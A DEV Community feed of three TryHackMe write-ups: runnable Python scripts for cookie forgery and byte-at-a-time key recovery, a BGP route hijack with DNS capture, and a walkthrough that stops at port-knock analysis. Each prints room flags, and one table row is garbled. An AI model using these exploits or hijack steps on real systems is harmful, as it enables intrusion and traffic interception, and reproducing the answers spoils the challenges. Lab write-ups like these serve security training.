DEV Community: Muhammad Saad

THM Crypto Failures — Full Walkthrough

Muhammad Saad — Sat, 24 Oct 2026 09:13:10 +0000

Q1 (web flag): THM{ok_you_f0und_w3b_fl4g_6cbe2bc}
Q2 (encryption key): THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}

A PHP app rolls its own "military-grade" cookie encryption: each 8-byte block of
user:User-Agent:ENC_SECRET_KEY is run through crypt() with a single 2-character salt, and the
results are concatenated. That is an ECB-style construction made of hashes, which gives us two
bugs:

Cut-and-paste auth bypass — guest: and admin: are the same length, so only the first block differs and we can compute it locally.
Byte-at-a-time key recovery — by changing the User-Agent length we can place each unknown key byte in a block where the other 7 bytes are known, then brute-force one character.

No SSH, no privesc — both answers come from port 80.

1. Recon

nmap -T4 --open -p- --min-rate=3000 10.113.155.191
nmap -sV -sC -p22,80 10.113.155.191

22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open  http  Apache httpd 2.4.59 ((Debian))   X-Powered-By: PHP/8.3.8

On the first request the app sets two cookies and redirects to /:

curl -s -i http://10.113.155.191/ | head -20

HTTP/1.1 302 Found
X-Powered-By: PHP/8.3.8
Set-Cookie: secure_cookie=Fmzq4d4Emej8...; expires=...; Max-Age=3600; path=/
Set-Cookie: user=guest; expires=...; Max-Age=3600; path=/
Location: /

Following the redirect with cookies stored gives the landing page:

curl -s -L -c jar.txt -b jar.txt http://10.113.155.191/

<p>You are logged in as guest:***********
<p>SSO cookie is protected with traditional military grade en<b>crypt</b>ion
<!-- TODO remember to remove .bak files-->

The comment is the hint: look for backup files. Fuzzing confirms one:

ffuf -u http://10.113.155.191/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -mc 200,301,302,403,401 -t 40
# index.php, .htaccess, .htpasswd, server-status ... plus the .bak we are about to fetch

curl -s http://10.113.155.191/index.php.bak -o index.php.bak

config.php exists but executes to an empty 200, and every config.php.bak-style variant is 404.
The .bak of index.php is the intended leak.

2. Reading the scheme

cat index.php.bak

Relevant parts:

$string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY;

function make_secure_cookie($text, $SALT) {
    $secure_cookie = '';
    foreach (str_split($text, 8) as $el) {       // 8-byte blocks
        $secure_cookie .= crypt($el, $SALT);     // DES crypt -> 13 chars/block
    }
    return $secure_cookie;
}

function verify_cookie($ENC_SECRET_KEY) {
    $user   = $_COOKIE['user'];
    $string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY;
    $salt   = substr($_COOKIE['secure_cookie'], 0, 2);   // salt = first 2 chars
    if (make_secure_cookie($string, $salt) === $_COOKIE['secure_cookie']) return true;
    ...
}

if (verify_cookie($ENC_SECRET_KEY)) {
    if ($user === "admin") echo "congrats: <flag>. Now I want the key.";
}

The important observations:

crypt() with a 2-character salt is traditional DES crypt: it returns 13 characters, the first two being the salt. So the cookie is a sequence of 13-char blocks.
The same salt is used for every block, and the salt is taken from the cookie we submit — we control it.
Each block is hashed independently → identical plaintext blocks produce identical ciphertext blocks, and we can compute the hash of any plaintext ourselves. The key is only needed for the trailing blocks that contain it.

Confirm the block structure with a known prefix (PHP and libcrypt agree):

python3 -c '
import ctypes
l=ctypes.CDLL("libcrypt.so.1"); l.crypt.restype=ctypes.c_char_p
l.crypt.argtypes=[ctypes.c_char_p,ctypes.c_char_p]
print(l.crypt(b"guest:Mo", b"Ad"))   # b"AdSleedEWCRK2"
print(l.crypt(b"admin:Mo", b"Ad"))   # b"AdBOdWNO.9Zps"
'

3. Logging in as admin

The plaintext is guest:<UA>:<KEY> and the only block that differs for admin:<UA>:<KEY> is
block 0, because guest: and admin: are both exactly 6 bytes. Block 0 is just
admin: + the first two bytes of the User-Agent — no key material involved, so we can hash it
ourselves.

Method A — compute block 0 locally (works with any UA):

python3 - <<'EOF'
import ctypes, urllib.parse, http.client

lib = ctypes.CDLL("libcrypt.so.1")
lib.crypt.restype  = ctypes.c_char_p
lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p]

HOST = "10.113.155.191"
UA   = "Mozilla/5.0"          # keep this exact UA on the replay request

c = http.client.HTTPConnection(HOST, 80, timeout=10)
c.request("GET", "/", headers={"User-Agent": UA})
r = c.getresponse(); r.read()
setc = r.getheader("Set-Cookie") or ""
raw  = [p.split("secure_cookie=")[1].split(";")[0]
        for p in setc.split(",") if "secure_cookie=" in p][0]

cookie = urllib.parse.unquote(raw)
salt   = cookie[:2]
blocks = [cookie[i:i+13] for i in range(0, len(cookie), 13)]

# block 0 of "admin:<UA>:<KEY>" = "admin:" + UA[:2]
blocks[0] = lib.crypt(("admin:" + UA[:2]).encode(), salt.encode()).decode()

forged = urllib.parse.quote("".join(blocks), safe="")
print("user=admin; secure_cookie=" + forged)
EOF

Method B — pure cut-and-paste (no local hashing): pick User-Agent: adadmin:ad. Then the
oracle's block 1 is crypt("admin:ad", salt), which is exactly the block 0 needed for the admin
string, and the two block 1s also match. So the forged cookie is block1 + block1 + blocks[2:]:

python3 - <<'EOF'
import urllib.parse, http.client
HOST, UA = "10.113.155.191", "adadmin:ad"

c = http.client.HTTPConnection(HOST, 80, timeout=10)
c.request("GET", "/", headers={"User-Agent": UA})
r = c.getresponse(); r.read()
raw = [p.split("secure_cookie=")[1].split(";")[0]
       for p in r.getheader("Set-Cookie").split(",") if "secure_cookie=" in p][0]
ck  = urllib.parse.unquote(raw)
b   = [ck[i:i+13] for i in range(0, len(ck), 13)]
print("user=admin; secure_cookie=" + urllib.parse.quote(b[1] + b[1] + "".join(b[2:]), safe=""))
EOF

Replay the forged cookie with user=admin and the same User-Agent:

curl -s -A 'Mozilla/5.0' \
     -H 'Cookie: user=admin; secure_cookie=<FORGED>' \
     http://10.113.155.191/

congrats: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}. Now I want the key.

4. Recovering the encryption key

The full plaintext is guest:<UA>:<KEY>. We control the length of <UA>, so we can slide the
unknown bytes across the 8-byte block boundaries. The trick is to choose the padding so that the
next unknown character is always the 8th byte of a block whose first 7 bytes are known. Then
we try all printable characters in that last position, hash prefix + candidate, and compare with
that block of a freshly issued cookie (the salt is read from the block itself, so a new random salt
per request is fine).

Padding formula (with the unknown character as the last byte of the block):

pad   = (7 - len("guest:" + ":" + discovered)) % 8
ua    = "A" * pad
prefix = "guest:" + ua + ":" + discovered
bidx   = len(prefix) // 8

Examples:

discovered	UA padding	block being brute-forced
`` (start)	``	`guest::T`
`T`	`AAAAAAA`	`AAAAA:TH`
`TH`	`AAAAAA`	`AAAA:TH?`

Full script (/tmp/opencode/extract_key.py):

#!/usr/bin/env python3
import ctypes, http.client, urllib.parse, string, time

# Python 3.13+ removed the stdlib crypt module; call libcrypt directly.
lib = ctypes.CDLL("libcrypt.so.1")
lib.crypt.restype  = ctypes.c_char_p
lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p]

HOST     = "10.113.155.191"
CHARSET  = string.printable
USERNAME = "guest:"
SEP      = ":"

def get_cookie(ua: str) -> str:
    c = http.client.HTTPConnection(HOST, 80, timeout=15)
    c.request("GET", "/", headers={"User-Agent": ua})
    r = c.getresponse(); r.read()
    setc = r.getheader("Set-Cookie") or ""
    c.close()
    for part in setc.split(","):
        if "secure_cookie=" in part:
            return urllib.parse.unquote(part.split("secure_cookie=")[1].split(";")[0])
    return ""

discovered = ""
while True:
    pad    = (7 - len(USERNAME + SEP + discovered)) % 8
    ua     = "A" * pad
    prefix = USERNAME + ua + SEP + discovered
    bidx   = len(prefix) // 8

    block = get_cookie(ua)[bidx * 13:(bidx + 1) * 13]
    if len(block) < 13:            # partial final block -> end of key
        break
    salt = block[:2]

    for ch in CHARSET:
        candidate = (prefix + ch)[-8:]
        if lib.crypt(candidate.encode(), salt.encode()).decode() == block:
            discovered += ch
            print(ch, end="", flush=True)
            break
    else:
        break

print(f"\n\nKEY({len(discovered)}) = {discovered}")

Run it:

python3 extract_key.py

THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}

That is Q2. Note the key is 154 characters — the loop only stops when the unknown position
falls in the final, partial block.

Validation

Re-hash the complete plaintext under the salt of a live cookie and compare byte-for-byte:

import ctypes, http.client, urllib.parse
lib = ctypes.CDLL("libcrypt.so.1")
lib.crypt.restype = ctypes.c_char_p
lib.crypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p]

key = open("key.txt").read()
ua  = "Verify-UA-123"
c = http.client.HTTPConnection("10.113.155.191", 80, timeout=15)
c.request("GET", "/", headers={"User-Agent": ua})
r = c.getresponse(); r.read()
raw = [p.split("secure_cookie=")[1].split(";")[0]
       for p in r.getheader("Set-Cookie").split(",") if "secure_cookie=" in p][0]
cookie = urllib.parse.unquote(raw)
salt   = cookie[:2]

plain = "guest:" + ua + ":" + key
calc  = "".join(lib.crypt(plain[i:i+8].encode(), salt.encode()).decode()
                for i in range(0, len(plain), 8))
print("salt:", salt, "match:", calc == cookie)

salt: ej match: True

The reconstructed cookie matches the server's for a 174-byte plaintext (22 blocks), confirming the
key is exactly right.

Answers

Question	Answer
Q1 — web flag	`THM{ok_you_f0und_w3b_fl4g_6cbe2bc}`
Q2 — encryption key	`THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}`

Why this is broken / how to fix it

ECB-style, per-block construction: blocks are independent, so rearrangeable. Use an authenticated encryption mode (AES-GCM, ChaCha20-Poly1305, libsodium secretbox) over the whole message, or an HMAC over user:UA.
Hashing is not encryption: crypt() is a one-way hash; using it as a cookie cipher means the server re-hashes on every request and the secret leaks through controlled block alignment.
Attacker-controlled block alignment: any user/User-Agent-derived scheme that hashes fixed-size chunks lets an attacker recover secrets one byte at a time whenever the unknown data can be slid into a block with known neighbours.
.bak in the webroot: remove source backups; they turn a crypto bug into a trivial one.
Weak salt handling: the salt is public and taken from attacker input; use a CSPRNG and a proper MAC instead.

Gotchas

GET / redirects to / forever until cookies are stored — use a cookie jar or a client that doesn't follow redirects (urllib without a jar raises "infinite loop").
The cookie is URL-encoded (%2F), so urllib.parse.unquote() before slicing 13-char blocks.
index.php.bak is the only useful backup; config.php is a live empty 200.
No privesc or SSH stage exists in this room — both questions are answered from the web app.
Python 3.13+ has no crypt module; ctypes.CDLL("libcrypt.so.1") matches PHP's DES crypt() exactly (crypt("guest:Mo","Ad") == "AdSleedEWCRK2").

THM Operation Reroute — Full Walkthrough

Muhammad Saad — Sat, 24 Oct 2026 09:07:57 +0000

Platform: TryHackMe · Difficulty: Hard · Type: network lab (GNS3 containers) — BGP route hijacking
Target: 10.112.133.199 (jumpbox telnet 6001) — authorized lab only
Objective (scope.md): After hijacking the route, DNS1 starts receiving queries from the victim.
What is the internal domain name the victim is trying to resolve?

Answer: VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
(the leftmost label base64-decodes to THM{BGP_is_my_middle_name})

0. Tooling used in this walkthrough

The jumpbox is a bare GNS3 container: no sshpass, no paramiko/pexpect, no nc, no
tcpdump, no pip, and no internet. Every helper below is therefore a small stdlib-only Python
script kept in tools/ next to this writeup. None of them are needed to follow the methodology —
they only bridge the missing plumbing.

Script	Runs on	Purpose
`tools/tn.py`	your host	Telnet client for the jumpbox on port 6001. The jumpbox exposes one shared, persistent bash shell, so a naive "send command → sleep → read" mixes output between commands. This wrapper appends a unique `echo <token>` and reads until the token comes back twice, proving the command finished. Usage: `python3 tools/tn.py '<shell command>'`.
`tools/kssh.py`	jumpbox	Runs one command on the router over SSH by allocating a pty and typing the password when `Password:` appears — a stand-in for `sshpass`, which is not installed.
`tools/kssh2.py`	jumpbox	Same idea, but accepts a `\
{% raw %}`tools/kvtysh.py`	jumpbox	Interactive variant used when entering configuration mode (`configure` → changes → `end`), where state must persist across prompts.
`tools/dnscap.py`	jumpbox	The capture point: a ~60-line stdlib UDP listener on `0.0.0.0:53` that parses the QNAME out of every query, logs it to `/tmp/dnscap.log`, and replies with a synthetic A record so the client stops retrying. Stands in for `tcpdump`/`dnscap`.

Standard tools were also used unmodified: nmap (host/port discovery), dig (DNS
fingerprinting), base64 (pushing helpers and decoding the captured label), ip (interface/route
state), and wc/sed/sort/uniq to aggregate the capture log.

Two environment facts drove this design, and are worth stating up front:

The router has no shell. SSH lands you in FRR's vtysh CLI, so capturing packets on the router is impossible — everything had to be observed from the jumpbox.
The jumpbox has no internet, so no package could be installed; the helpers use only the Python standard library.

1. Scenario

A Kali "implant" has been planted inside TryRouteMe's (TRM) network. The stated goal is to spy on a
VIP user, but that user turns out not to be a TRM customer. The victim's DNS resolver is
Doogle's DNS at 10.10.10.10, and "there is more than one server with such an IP in the world."
We only have access to TRM's router. The task is to work out how to hijack traffic we are not on
the path for, and read the victim's DNS requests.

2. Methodology

The approach was driven by one question: where can I actually observe the victim's DNS query?

Phase	What I did	Why
0. Classify	Checked `machine-solver/reference/labs/` and `reference/challenges/` for a prior note on this target — none existed, so this is a new solve. Classified it as a full network lab (not a single-category CTF challenge).	Avoid re-solving blind / avoid overwriting an existing note.
1. Recon the foothold	Logged into the jumpbox, mapped its interfaces/routes/tooling.	Establish what is reachable and what tooling exists before assuming anything.
2. Map the routing	SSH'd to the router, dumped `running-config`, BGP table, and the routes received from / advertised to the peer.	The clue is routing-based ("another ISP", "more than one server with such an IP"), so the BGP table is the primary evidence.
3. Form the hypothesis	Noticed `10.10.10.0/24` is announced by two ASNs → prefix collision. Concluded the only lever is longest-prefix-match, i.e. a more specific `/32`.	Explains the hint and rules out "same /24" approaches.
4. Test observability	Probed DNS1 (`10.10.10.10`) and the router to see if the query could be read in place.	A hijack is useless if you cannot read the result — establish the observation point before exploiting.
5. Exploit	Widened the outbound prefix-list, added a static `/32`, originated `network 10.10.10.10/32`, verified it appeared in `advertised-routes`.	Longest-prefix-match hijack of the victim's DNS destination.
6. Capture	Steered the hijacked prefix to the jumpbox, claimed `10.10.10.10` locally, ran a minimal DNS listener.	Neither the router (vtysh-only) nor DNS1 (dnsmasq, no upstream) is observable — so become the destination.
7. Decode + document	Read the QNAME, base64-decoded the label, recorded the solve.	—

Two dead ends worth naming, because they shaped the plan:

The router is not a capture point. SSH gives FRR's vtysh CLI on both 192.168.1.1 and 10.10.10.1; there is no shell, so no tcpdump. Port 2623/tcp is just the same vty.
DNS1 is not a capture point. It is dnsmasq-2.90, answers version.bind CH TXT, has no working upstream (external lookups time out) and exposes only tcp/53. Nothing to read there.

3. Access and topology

telnet 10.112.133.199 6001

This drops straight into a bash shell as root on kali-1 (a GNS3 container — /tmp/gns3/bin/
is present). It has no internet: its resolver is the in-lab dnsmasq, so apt-get install
fails with Temporary failure resolving 'http.kali.org'.

Available: dig, nslookup, host, nmap, python3, curl, wget.
Missing: sshpass, paramiko, pexpect, pip, nc, tcpdump.

kali-1       192.168.1.100/24   gw 192.168.1.1      (resolv.conf -> 10.10.10.10)
TTM-CORE-01  192.168.1.1/24     eth0                (LAN)
             10.1.1.1/30        eth1  -> BGP peer 10.1.1.2 (AS 2222)
             10.10.10.1/24      eth2  -> DNS1 = dnsmasq 2.90 at 10.10.10.10
peer router  192.168.2.1 (AS 2222), announces 192.168.2.0/24
victim       192.168.2.100      no open TCP ports; only emits DNS queries

Only 10.10.10.1 and 10.10.10.10 are alive on the 10.10.10.0/24 segment; 192.168.2.0/24
contains 192.168.2.1 (the AS 2222 router) and 192.168.2.100 (the victim).

4. Recon — commands run

On the jumpbox (every line below was issued through a small telnet runner, tools/tn.py,
which wraps the target command as python3 tools/tn.py '<command>'):

python3 tools/tn.py 'id; hostname; uname -a; pwd; ls -la'
python3 tools/tn.py 'ip a; echo "=== ROUTES ==="; ip r; echo "=== ARP ==="; ip neigh'
python3 tools/tn.py 'for t in dig nslookup host nmap nc tcpdump python3 pip3 curl wget; do printf "%s: " $t; command -v $t || echo MISSING; done'
python3 tools/tn.py 'cat /etc/hosts; cat /etc/resolv.conf; hostname'
python3 tools/tn.py 'ls -la /root/.ssh; pip3 list; which expect screen tmux msfconsole'

Key output: root on kali-1, eth0 192.168.1.100/24, default via 192.168.1.1, and
/etc/resolv.conf -> nameserver 10.10.10.10 (the jumpbox itself resolves through DNS1).

Reaching the router. There is no sshpass/paramiko/pexpect on the jumpbox, so SSH was
driven from Python over a pty. The helper was pushed by base64, then invoked as
python3 /tmp/kssh2.py <password> <host> "<line1>|<line2>|...":

# push the helper
B64=$(base64 -w0 tools/kssh2.py)
python3 tools/tn.py "echo $B64 | base64 -d > /tmp/kssh2.py; chmod +x /tmp/kssh2.py; wc -l /tmp/kssh2.py"

# interactive vtysh driver (same pattern)
python3 tools/tn.py 'python3 /tmp/kvtysh.py ttm2024 ttm@192.168.1.1 "show version|show daemons|exit"'

Router enumeration (vtysh commands, one SSH session per batch):

python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show|enable|configure|exit|quit"'
python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show running-config|exit"'
python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show bgp summary|show ip route|exit"'
python3 tools/tn.py 'python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "show bgp ipv4 unicast neighbors 10.1.1.2 routes|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|show bgp ipv4 unicast|exit"'

show daemons → mgmtd zebra bgpd watchfrr staticd (so static routes are available).
show running-config:

router bgp 1111
 no bgp enforce-first-as
 neighbor 10.1.1.2 remote-as 2222
 address-family ipv4 unicast
  network 10.10.10.0/24
  network 192.168.1.0/24
  redistribute connected
  neighbor 10.1.1.2 prefix-list bgp-in in     ! permit any
  neighbor 10.1.1.2 prefix-list bgp-out out   ! permit 192.168.1.0/24, 10.10.10.0/24

Routes received from the peer:

show bgp ipv4 unicast neighbors 10.1.1.2 routes

 *  10.10.10.0/24    10.1.1.2            0 2222 3333 i    <- the REAL Doogle DNS network
 *> 192.168.2.0/24   10.1.1.2            0 2222 i

Host/service discovery from the jumpbox:

python3 tools/tn.py 'ping -c 2 -W 2 10.10.10.10; nmap -Pn -sT -p 22,53,80,443,8080,8000,3000,5000 --open -T4 10.10.10.10'
python3 tools/tn.py 'nmap -sn 10.10.10.0/24'
python3 tools/tn.py 'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 10.10.10.10'
python3 tools/tn.py 'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 10.10.10.1'
python3 tools/tn.py 'nmap -sn 192.168.2.0/24'
python3 tools/tn.py 'nmap -Pn -sT -p- --min-rate 2000 --max-retries 2 192.168.2.1 192.168.2.100'

Results: 10.10.10.10 → only 53/tcp; 10.10.10.1 (router eth2) → 22, 179, 2623;
192.168.2.0/24 → 192.168.2.1 (BGP + vtysh) and 192.168.2.100 (nothing open — this is the
victim). A ping sweep showed only .1 and .10 live on the 10.10.10.0/24 segment.

Probing DNS1 (to see whether it could be an observation point):

python3 tools/tn.py 'dig @10.10.10.10 version.bind CH TXT'      # -> "dnsmasq-2.90", aa
python3 tools/tn.py 'dig @10.10.10.10 . NS +time=3 +tries=1'    # -> timed out
python3 tools/tn.py 'dig @10.10.10.10 google.com +time=3 +tries=1'  # -> timed out
python3 tools/tn.py 'dig @10.10.10.10 probe-test.internal +time=3 +tries=1'  # -> timed out

It answers only local names — no upstream — and exposes only tcp/53. Confirmed dead end.

5. The insight — a prefix collision

10.10.10.0/24 is announced by two different ASNs:

AS 1111 — TTM itself, where the prefix is directly connected on eth2 (our copy of the Doogle DNS address, DNS1 = dnsmasq at 10.10.10.10).
AS 3333 — the genuine Doogle DNS network, reached through the peer as 2222 3333.

That is what "more than one server with such an IP in the world" means. The victim's traffic to
10.10.10.10 currently follows the legitimate AS 3333 route, so simply having the same /24
locally changes nothing upstream. Because we cannot reach the victim's ISP directly, the only
lever is longest-prefix-match: advertise a more specific /32 for 10.10.10.10 from AS 1111.

6. Hijack — originate 10.10.10.10/32

First attempt (advertising only) — which failed, and why it mattered:

python3 tools/tn.py 'python3 /tmp/kvtysh.py ttm2024 ttm@192.168.1.1 "configure|ip prefix-list bgp-out seq 30 permit 10.10.10.10/32|router bgp 1111|address-family ipv4 unicast|network 10.10.10.10/32|exit-address-family|end|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|exit"'

advertised-routes still showed only the two /24s. show bgp ipv4 unicast explained it — the
/32 appeared with no status character at all (not valid), because FRR's BGP import-check
requires an exact RIB entry and the connected /24 does not satisfy a /32.

Working sequence (add the RIB entry, which doubles as the steering rule, then re-check):

python3 tools/tn.py 'python3 /tmp/kvtysh.py ttm2024 ttm@192.168.1.1 "configure|ip route 10.10.10.10/32 192.168.1.100|router bgp 1111|address-family ipv4 unicast|network 10.10.10.10/32|end|show ip route 10.10.10.10/32|show bgp ipv4 unicast|show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes|exit"'

Verification:

show ip route 10.10.10.10/32
  Routing entry for 10.10.10.10/32
    Known via "static", distance 1, metric 0, best
    * 192.168.1.100, via eth0

show bgp ipv4 unicast
 *> 10.10.10.10/32   0.0.0.0      0   32768 i

show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes
 *> 10.10.10.0/24     0.0.0.0   0  32768 i
 *> 10.10.10.10/32    0.0.0.0   0  32768 i
 *> 192.168.1.0/24    0.0.0.0   0  32768 i
 Total number of prefixes 3

Two things bit here:

network 10.10.10.10/32 on its own is invalid and never advertised — FRR needs an exact RIB entry, and a connected /24 is not enough. The static /32 fixes it.
The outbound prefix-list bgp-out only permitted the two /24s, so the /32 would have been silently filtered even once valid. seq 30 widens it.

7. Capture — become the `10.10.10.10` server

With the router and DNS1 both ruled out as observation points, the traffic had to be brought to
the jumpbox. The capture server (tools/dnscap.py) was pushed by base64 like the SSH helpers; it
is a ~60-line stdlib UDP listener on 0.0.0.0:53 that parses the QNAME out of each packet, logs
it, and returns a synthetic A record so the client stops retrying.

# push + start the capture server on the jumpbox
B64=$(base64 -w0 tools/dnscap.py)
python3 tools/tn.py "echo $B64 | base64 -d > /tmp/dnscap.py; chmod +x /tmp/dnscap.py; wc -l /tmp/dnscap.py; (nohup python3 /tmp/dnscap.py > /tmp/dnscap.out 2>&1 &); sleep 2; cat /tmp/dnscap.out"

# own the hijacked address so the kernel accepts the packets
python3 tools/tn.py 'ip addr add 10.10.10.10/32 dev eth0 2>&1; ip a show eth0 | grep -E "inet |10.10"'

Then watch the log:

python3 tools/tn.py 'echo "=== waiting 30s ==="; sleep 30; cat /tmp/dnscap.log; tail -20 /tmp/dnscap.out'

Within seconds of the /32 being advertised, the victim started resolving at us:

2026-10-24T08:20:20 from 192.168.2.100:46290 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=1  len=84
2026-10-24T08:20:20 from 192.168.2.100:46290 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=28 len=84
2026-10-24T08:20:43 from 192.168.2.100:60737 q=VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm type=1  len=84
...

Aggregating the capture to be sure there was only one name and one source:

python3 tools/tn.py 'wc -l /tmp/dnscap.log; sed -E "s/.*q=([^ ]+) .*/\1/" /tmp/dnscap.log | sort | uniq -c; sed -E "s/.*from ([0-9.]+):.*/\1/" /tmp/dnscap.log | sort | uniq -c'

60 /tmp/dnscap.log
     60 VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm
     60 192.168.2.100

Source is always 192.168.2.100 (the victim, in AS 2222's own network), repeated every ~20 s,
A + AAAA, and exactly one unique name.

8. Answer

python3 tools/tn.py 'echo "VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K" | base64 -d'
# THM{BGP_is_my_middle_name}

The internal domain name the victim is trying to resolve:

VEhNe0JHUF9pc19teV9taWRkbGVfbmFtZX0K.flag.sekureapp.thm

Appendix A — command index (quick reference)

Where	Command	Purpose
jumpbox	`python3 tools/tn.py '<cmd>'`	run anything on the jumpbox over telnet 6001
jumpbox	`python3 /tmp/kssh2.py ttm2024 ttm@192.168.1.1 "\	"`
jumpbox	`python3 /tmp/kvtysh.py ttm2024 ttm@192.168.1.1 "\	"`
router	`show running-config` / `show bgp summary` / `show ip route`	baseline state
router	`show bgp ipv4 unicast`	full BGP table incl. validity flags
router	`show bgp ipv4 unicast neighbors 10.1.1.2 routes`	what the peer sent us
router	`show bgp ipv4 unicast neighbors 10.1.1.2 advertised-routes`	proof the hijack is live
router	`show ip prefix-list`	confirm the filter was widened (ZEBRA + BGP copies)
jumpbox	`nmap -sn <subnet>` / `nmap -Pn -sT -p- --min-rate 2000 <ip>`	host + full-port discovery
jumpbox	`dig @10.10.10.10 version.bind CH TXT`	fingerprint DNS1
jumpbox	`ip addr add 10.10.10.10/32 dev eth0`	claim the hijacked address
jumpbox	`nohup python3 /tmp/dnscap.py > /tmp/dnscap.out 2>&1 &`	log incoming DNS queries

Appendix B — tooling notes for this lab

The jumpbox telnet provides one persistent, shared bash shell. Extra connections attach to the same shell, so output interleaves and a naive "send command, sleep, read" helper returns the wrong data (or nothing while an earlier long nmap is still running). The reliable pattern used by tools/tn.py is to send a unique echo <token> after the command and read until the token appears twice.
No sshpass/paramiko/pexpect. The router SSH was driven from Python with pty.fork() + os.execvp("ssh", ...), waiting for assword in the stream before writing the password.
nc and tcpdump are absent, so port probing used python3 -c "socket.create_connection(...)" and packet capture used a raw UDP socket.
Leaving the lab: the router now advertises 10.10.10.10/32 and holds a static route for it, and Kali has 10.10.10.10/32 on eth0. Remove with no network 10.10.10.10/32, no ip route 10.10.10.10/32 192.168.1.100, no ip prefix-list bgp-out seq 30, and ip addr del 10.10.10.10/32 dev eth0.

THM Misguided Ghosts — Full Walkthrough

Muhammad Saad — Fri, 23 Oct 2026 06:22:03 +0000

Misguided Ghosts — Full Walkthrough (0 → root.txt)

Platform: TryHackMe · Difficulty: Hard
Target: 10.113.167.11
OS: Linux — Ubuntu 18.04.5 host, Alpine 3.11.5 Docker container
Attacker: 192.168.176.34 (tun0)

Flags

user: {d0ck3r_35c4p3}

root: {p1v0t1ng_15_fun}

HTTP tooling note: every HTTP request in this walkthrough is shown as a raw
HTTP/1.1 request. During the engagement they were sent through Burp
(send_http1_request / Repeater), not curl. Shell commands are shown as run.

Scope and variables
Initial footprint
Enumeration — full port scan
Service enumeration
Anonymous FTP
PCAP analysis — the hidden clue
Port knocking → 8080
HTTPS service recon
Web login
Mapping the XSS filter
Stored XSS → admin cookie
Admin session and /photos
Command injection → container root
Container and deployment enumeration
Host-mounted notes
Recovering the Vigenère-ciphered RSA key
SSH as zac
Host enumeration and SMB discovery
SMB tunnel and password list
Hayley credentials and user flag
tmux socket hijack → root
Cleanup
Appendix A — credentials and ports
Appendix B — gotchas and dead ends

0. Scope and variables

Only 10.113.167.11 is in scope. The public blog/writeup was read as passive context only;
all testing was executed against the lab.

export TARGET=10.113.167.11
export ATTACKER=192.168.176.34     # tun0 address; substitute your own
export LPORT=8000
mkdir -p recon loot evidence reports

1. Initial footprint

Confirm the host is reachable and infer the OS from the TTL.

ping -c 4 "$TARGET"

The reply TTL was 62, which (starting at 64) indicates Linux, not Windows. That
immediately ruled out the AD/Windows privesc references and pointed at Linux.

Gotcha: the target intermittently drops ICMP. Later scans use -Pn.

2. Enumeration — full port scan

A fast full-range scan first; then a slower confirmation because the first pass hit the
retransmission cap.

nmap -p- --min-rate 3000 -T4 -oN recon/allports.txt "$TARGET"
nmap -Pn -p- -sS -T2 --min-rate 500 --max-retries 2 -oN recon/allports2.txt "$TARGET"

Result — only two ports:

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh

No web port. That is the first sign the web service is deliberately hidden behind a knock.

3. Service enumeration

nmap -Pn -p21,22 -sV -sC --version-all -oN recon/services.txt "$TARGET"

Key output:

21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Aug 28 2020 pub
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

Two useful facts:

Anonymous FTP is allowed and exposes a pub directory.
The SSH banner confirms Ubuntu Linux.

4. Anonymous FTP

Download the pub directory anonymously.

wget -r ftp://anonymous@10.113.167.11/

Files:

pub/info.txt
pub/jokes.txt
pub/trace.pcapng

info.txt:

I have included all the network info you requested, along with some of my favourite jokes.

- Paramore

jokes.txt is a knock-knock joke — flavour, but also a hint at the next step.
trace.pcapng is the actual clue.

5. PCAP analysis — the hidden clue

Read the capture before scanning harder. Look for bare SYNs (no ACK) — a sequence of
high ports like this is a port-knock.

tshark -r trace.pcapng \
  -Y 'tcp.flags.syn==1 && tcp.flags.ack==0' \
  -T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq -c

Output (one SYN to each port, in capture order):

192.168.236.128 -> 192.168.236.131 : 7864
192.168.236.128 -> 192.168.236.131 : 8273
192.168.236.128 -> 192.168.236.131 : 9241
192.168.236.128 -> 192.168.236.131 : 12007
192.168.236.128 -> 192.168.236.131 : 60753

Also pull DNS and TLS SNI for context:

tshark -r trace.pcapng -Y dns -T fields -e dns.qry.name | sort -u
tshark -r trace.pcapng -Y tls.handshake.extensions_server_name \
